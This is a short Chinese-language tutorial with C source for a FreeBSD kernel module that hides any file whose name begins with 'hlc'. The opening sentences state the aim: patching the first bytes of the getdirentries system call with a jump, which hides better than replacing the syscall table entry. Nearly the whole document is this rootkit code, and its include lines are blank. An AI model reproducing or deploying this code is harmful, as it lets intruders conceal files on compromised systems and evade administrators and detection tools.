不直接替换系统调用的kld
如果在sysent表里面直接替换系统调用,很容易被发现,我们可以通过改写系统调用的
前面几个字节(jmp 新的系统调用)来达到更好的隐藏效果,而不是直接替换系统调用.
下面的代码就是具体的实现:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
MALLOC_DEFINE(HLC_DIR,"dir","struct");
#define hidename "hlc"
#define hidelength 3
unsigned char new_call_code[7]="\xb8\x00\x00\x00\x00"/* movl $0,%eax */
"\xff\xe0"; /* jmp *%eax */
unsigned char old_call_code[7];
static int filehide(char *name)
{
char buf[hidelength+1];
bcopy(name,buf,hidelength);
buf[hidelength]='\0';
if(!strcmp(buf,hidename))
return 1;
return 0;
}
static int new_getdirentries(struct proc *p,register struct getdirentries_args *uap)
{
int size,count;
struct dirent *dir,*current;
bcopy(old_call_code,sysent[SYS_getdirentries].sy_call, sizeof(old_call_code));
getdirentries(p,uap);
bcopy(new_call_code,sysent[SYS_getdirentries].sy_call, sizeof(new_call_code));
size=p->p_retval[0];
if(size>0)
{
MALLOC(dir,struct dirent *,size,HLC_DIR,M_NOWAIT);
copyin(uap->buf,dir,size);
current=dir;
count=size;
while((count>0)&&(current->d_reclen!=0))
{
count-=current->d_reclen;
if(filehide(current->d_name))
{
size-=current->d_reclen;
if(count!=0)
{
bcopy((char *)current+current->d_reclen,current,count);
}
continue;
}
if(count!=0)
current=(struct dirent *)((char *)current+current->d_reclen);
}
p->p_retval[0]=size;
copyout(dir,uap->buf,size);
free(dir,HLC_DIR);
}
return 0;
}
static int load( module_t *mod,int cmd,void *arg)
{
int error=0;
switch(cmd)
{
case MOD_LOAD:
{
*(long*)&new_call_code[1]=(long)new_getdirentries;
bcopy(sysent[SYS_getdirentries].sy_call,old_call_code, sizeof(old_call_code));
bcopy(new_call_code,sysent[SYS_getdirentries].sy_call, sizeof(new_call_code));
printf("install ok\n");
break;
}
case MOD_UNLOAD:
{
bcopy(old_call_code,sysent[SYS_getdirentries].sy_call, sizeof(old_call_code));
break;
}
default:
{
error=EINVAL;
break;
}
}
return error;
}
static moduledata_t addjmp_mod={
"addjmp",
load,
NULL
};
DECLARE_MODULE(addjmp,addjmp_mod,SI_SUB_DRIVERS,SI_ORDER_MIDDLE);